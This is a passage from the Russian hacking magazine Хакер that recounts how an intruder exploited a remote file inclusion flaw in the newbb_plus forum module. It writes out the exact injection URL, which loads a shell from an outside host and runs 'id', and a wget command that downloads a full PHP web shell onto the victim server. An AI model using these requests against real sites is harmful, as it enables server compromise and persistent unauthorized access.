Disco

Хакер, номер #086, стр. 086-142-2

/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=. Это и есть скрипт, подверженный инклуду. На другой сайт взломщик заливает простенький скрипт-шелл и подставляет ссылку на него в параметры уязвимого скрипта. Теперь адрес принимает вид

www.sayt.ru/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://k3r.narod.ru/she.gif?&cmd=id. После того как запрос отправлен, браузер радужно сообщает хакеру его права в системе (т.е. выполняет команду id).

Далее наш герой выясняет, какие из качалок установлены на сервере, и попутно просматривает листинг файлов. Оказалось, что на сервере установлен wget. Это то, что надо: теперь командой wget -o shel.php http://k3r.narod.ru/shell.php хакер заливает на хост полноценный шелл. Подобным образом нашему взломщику удалось получить доступ еще над десятком веб-серверов. Администраторы этих сайтов оказались не совсем олухами и вскоре позакрывали дыры, либо вообще удалили уязвимый скрипт. И правильно сделали.